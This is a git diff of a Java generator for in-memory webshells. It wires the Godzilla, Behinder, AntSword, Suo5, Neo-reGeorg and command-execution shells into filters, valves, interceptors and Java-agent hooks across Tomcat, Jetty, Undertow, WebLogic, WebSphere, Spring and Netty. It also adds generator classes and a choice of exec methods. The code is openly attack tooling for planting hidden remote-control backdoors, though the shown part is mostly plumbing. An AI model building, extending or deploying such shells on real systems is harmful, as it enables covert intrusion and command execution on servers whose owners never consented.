.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -185,17 +148,19 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||||
.addShellClass(VALVE, BehinderValve.class)
|
.addShellClass(VALVE, BehinderValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -203,15 +168,16 @@ public enum Server {
|
|||||||
.addShellClass(FILTER, AntSwordFilter.class)
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
.addShellClass(LISTENER, AntSwordListener.class)
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
.addShellClass(VALVE, AntSwordValve.class)
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -223,30 +189,25 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
.addShellClass(VALVE, CommandValve.class)
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Command.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -258,11 +219,20 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||||
.addShellClass(VALVE, Suo5Valve.class)
|
.addShellClass(VALVE, Suo5Valve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -274,10 +244,19 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,44 +1,40 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2024/11/22
|
||||||
*/
|
*/
|
||||||
public enum ShellTool {
|
public enum ShellTool {
|
||||||
/**
|
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
|
||||||
* 哥斯拉
|
Command(CommandGenerator.class, CommandConfig.class),
|
||||||
*/
|
Behinder(BehinderGenerator.class, BehinderConfig.class),
|
||||||
Godzilla,
|
Suo5(Suo5Generator.class, Suo5Config.class),
|
||||||
|
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
|
||||||
|
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
|
||||||
|
Custom(CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
|
||||||
/**
|
private final Class<? extends ShellGenerator> generatorClass;
|
||||||
* 冰蝎
|
private final Class<? extends ShellToolConfig> configClass;
|
||||||
*/
|
|
||||||
Behinder,
|
|
||||||
|
|
||||||
/**
|
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
* 蚁剑
|
this.generatorClass = generatorClass;
|
||||||
*/
|
this.configClass = configClass;
|
||||||
AntSword,
|
}
|
||||||
|
|
||||||
/**
|
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
* 命令回显
|
try {
|
||||||
*/
|
Constructor<? extends ShellGenerator> constructor =
|
||||||
Command,
|
generatorClass.getConstructor(ShellConfig.class, configClass);
|
||||||
|
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
||||||
/**
|
return generator.getBytes();
|
||||||
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
|
} catch (Exception e) {
|
||||||
*/
|
throw new RuntimeException("Failed to create generator for " + this, e);
|
||||||
Suo5,
|
}
|
||||||
|
}
|
||||||
/**
|
|
||||||
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
|
|
||||||
*/
|
|
||||||
NeoreGeorg,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 自定义
|
|
||||||
*/
|
|
||||||
Custom,
|
|
||||||
|
|
||||||
;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,40 +6,35 @@ package com.reajason.javaweb.memshell;
|
|||||||
*/
|
*/
|
||||||
public class ShellType {
|
public class ShellType {
|
||||||
|
|
||||||
|
public static final String JAKARTA = "Jakarta";
|
||||||
public static final String SERVLET = "Servlet";
|
public static final String SERVLET = "Servlet";
|
||||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||||
public static final String FILTER = "Filter";
|
public static final String FILTER = "Filter";
|
||||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||||
public static final String LISTENER = "Listener";
|
public static final String LISTENER = "Listener";
|
||||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
public static final String ASM = "ASM";
|
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
|
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
|
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
|
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
|
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
|
|||||||
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
@Builder.Default
|
||||||
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
|
||||||
|
public enum ImplementationClass {
|
||||||
|
RuntimeExec, ForkAndExec;
|
||||||
|
|
||||||
|
public static ImplementationClass fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("ForkAndExec")) {
|
||||||
|
return ForkAndExec;
|
||||||
|
}
|
||||||
|
return RuntimeExec;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, DOUBLE_BASE64;
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
|
|||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
+8
-58
@@ -1,18 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -20,55 +10,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordGenerator {
|
public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
||||||
private final ShellConfig shellConfig;
|
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
|
||||||
private final AntSwordConfig antSwordConfig;
|
super(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.antSwordConfig = antSwordConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (antSwordConfig.getShellClass() == null) {
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
|
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
}
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
if (StringUtils.isBlank(antSwordConfig.getPass())) {
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
